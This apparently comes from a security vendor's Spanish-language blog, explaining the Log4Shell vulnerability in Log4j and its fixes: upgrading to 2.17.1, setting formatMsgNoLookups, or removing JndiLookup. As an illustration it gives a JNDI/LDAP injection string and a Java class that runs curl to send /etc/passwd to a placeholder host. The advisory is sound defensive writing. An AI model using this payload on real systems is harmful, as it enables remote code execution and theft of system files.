Vulnerabilidad de Log4j explicada: evita la ejecución remota de código (RCE) de Log4Shell al actualizar a la versión 2.17.1

Hoy (10 de diciembre de 2021) se divulgó una nueva vulnerabilidad crítica de Log4j: Log4Shell. Esta vulnerabilidad en el popular framework de registro de Java se publicó como CVE-2021-44228 y se clasificó como Critical, con una puntuación CVSS de 10 (la más alta posible). La vulnerabilidad fue descubierta por Chen Zhaojun, del equipo de seguridad en la nube de Alibaba.

Casi todas las versiones de Log4j 2 están afectadas y debes actualizar a la versión 2.17.1 para corregir la vulnerabilidad. Para obtener recomendaciones completas, lee nuestra guía rápida para corregir Log4Shell.

Muchos frameworks de aplicaciones del ecosistema Java usan este framework de registro de forma predeterminada. Por ejemplo, Apache Struts 2, Apache Solr y Apache Druid están afectados. Además, Apache Log4j también se usa en muchas aplicaciones Spring y Spring Boot, por lo que te recomendamos revisar tus aplicaciones y actualizarlas a la versión más reciente.

¿Qué tan grave es Log4Shell?

La respuesta sencilla es: “muy grave”. La vulnerabilidad Log4Shell se detectó por primera vez en Minecraft. Microsoft lanzó un parche de emergencia para solucionar rápidamente el problema. TechCrunch informa que Apple, Amazon, Twitter y Cloudflare son vulnerables al ataque Log4Shell. Según TechCrunch, “el Computer Emergency Response Team (CERT) de Nueva Zelanda, el CERT de Deutsche Telekom y el servicio de monitoreo web Greynoise han advertido que los atacantes buscan activamente servidores vulnerables a los ataques Log4Shell. Según este último, alrededor de 100 hosts distintos están escaneando Internet para encontrar formas de explotar la vulnerabilidad de Log4j”.

Explicación de la vulnerabilidad Log4Shell

Al usar una versión vulnerable de Log4j, cualquier dato entrante que se registre puede permitir la ejecución remota de código (RCE). Por ejemplo, si se usa JNDI (Java Naming and Directory Interface) para conectarse a una URL LDAP y registrarla (como se muestra abajo), es posible devolver una carga maliciosa que inyecte código.

En el fragmento de código de abajo, revisa el argumento proporcionado por un usuario. Si el argumento no cumple con los requisitos, registramos un error. Sin embargo, si la entrada del usuario es "${jndi:ldap://someurl/Evil}”, activamos la vulnerabilidad Log4Shell porque sabemos que se registrará como un error.

1try {
2   checkout(arg);
3} catch (Exception e) {
4   logger.error("Failed to checkout with arg " + arg)
5}

Si sabes que la entrada se registra con Log4j, puedes configurar un servidor LDAP y devolver un archivo de clase compilado que ejecute código. Abajo puedes ver un ejemplo de esa clase. Este objeto envía mi archivo /etc/passwđ a una URL externa mediante curl. Ten en cuenta que esta entrada del usuario puede estar oculta, por ejemplo, en el encabezado de una llamada HTTP. Cuando el logger evalúa la cadena, se realiza la llamada al servidor LDAP malicioso.

1public  class RefactoredName implements  ObjectFactory  {
2   @Override
3   public Object getObjectInstance (Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment)  throws Exception {
4       Runtime.getRuntime().exec("curl -F 'file=@/etc/passw‍đ' http://someurl/upload");
5       return  null;
6   }
7}

Según este artículo de Luncasec sobre el problema, todas las versiones de Java están afectadas. Las versiones del JDK posteriores a 6u211, 7u201, 8u191 y 11.0.1 no parecían estar afectadas por este ataque LDAP, porque en estas versiones com.sun.jndi.ldap.object.trustURLCodebase está establecido en false de forma predeterminada. Sin embargo, si la clase que devuelve el servidor LDAP ya está disponible en el classpath, se ejecutará incluso en las versiones más recientes del JDK y aunque com.sun.jndi.ldap.object.trustURLCodebase esté establecido en false.

Esto significa que, si la aplicación contiene una cadena de gadgets de deserialización, es posible activar esta deserialización y provocar la ejecución remota de código. Un ejemplo conocido es la biblioteca Apache Commons Collections 3.1, que incluye una cadena de gadgets; también puede tratarse de una combinación de bibliotecas y clases de tus aplicaciones que formen una cadena de este tipo. Para obtener más información sobre los problemas de deserialización, lee nuestra publicación de blog Serialización y deserialización en Java: explicación de la vulnerabilidad de deserialización de Java. En resumen, todas las versiones de Java están afectadas por este ataque.

Cómo corregir la vulnerabilidad Log4Shell

La forma más sencilla de corregir el problema es actualizar a Log4j 2.17.1 o una versión posterior, ya que este comportamiento está desactivado de forma predeterminada. En las versiones anteriores (>2.10), puedes mitigar este comportamiento estableciendo la propiedad del sistema log4j2.formatMsgNoLookups en true al agregar el siguiente parámetro de Java: -Dlog4j2.formatMsgNoLookups=true

Como alternativa, puedes mitigar esta vulnerabilidad al eliminar la clase JndiLookup del classpath.

Consulta nuestra guía para aprender a encontrar y corregir vulnerabilidades Log4Shell con Snyk.

Escanea y actualiza para prevenir vulnerabilidades

Esta vulnerabilidad de Log4j vuelve a demostrar que es importante escanear tus aplicaciones para detectar vulnerabilidades y hacerlo con frecuencia para mantener segura tu cadena de suministro de software. Además, es importante actualizar tu distribución de Java a la versión más reciente para aprovechar las nuevas actualizaciones de seguridad.

Al escanear tu aplicación con Snyk Open Source, podrás ver las vulnerabilidades en tus bibliotecas de código abierto, incluido este problema de Log4j. El ejemplo de abajo muestra el resultado de mi plugin de IntelliJ IDEA, que señala este problema y recomienda cómo corregirlo.

¿Log4j es vulnerable?

Sí. Todas las versiones de Log4j desde la 2.0-beta9 hasta la 2.14.1 están afectadas por la vulnerabilidad Log4Shell. Es una vulnerabilidad crítica que requiere atención urgente. Puede dar lugar a ataques de ejecución remota de código (RCE).

¿Qué usa Log4j?

Log4j se usa ampliamente entre proveedores, proyectos de código abierto, frameworks y proyectos destacados de distintas fundaciones. Además de los millones de aplicaciones Java que usan Log4j, muchos proyectos propios de Apache Software Foundation también lo utilizan, como Apache Solr, Apache Struts2, Apache Kafka, Apache Druid, Apache Flink, Apache Swift y otros.

¿Cómo comprobar si se usa Log4j?

Todas las versiones desde la 2.0-beta9 hasta la 2.14.1 están afectadas por la nueva vulnerabilidad. Snyk puede mostrarte si usas versiones vulnerables del paquete y si se incluyen en tu gráfico de dependencias como dependencia directa o transitiva. Snyk también te ayuda a corregir Log4Shell automáticamente en todo tu ciclo de vida de desarrollo de software (SDLC).

¿Cómo corregir la vulnerabilidad de Log4j?

La forma más sencilla de corregir el problema es actualizar a Log4j 2.17.1 o una versión posterior, ya que este comportamiento está desactivado de forma predeterminada. La versión 2.17.1 también corrige CVE-2021-45046. Esta vulnerabilidad de Log4j vuelve a demostrar que es importante escanear tus aplicaciones para detectar vulnerabilidades y hacerlo con frecuencia para mantener segura tu cadena de suministro de software. Para obtener más recomendaciones, consulta nuestra guía rápida para corregir Log4Shell.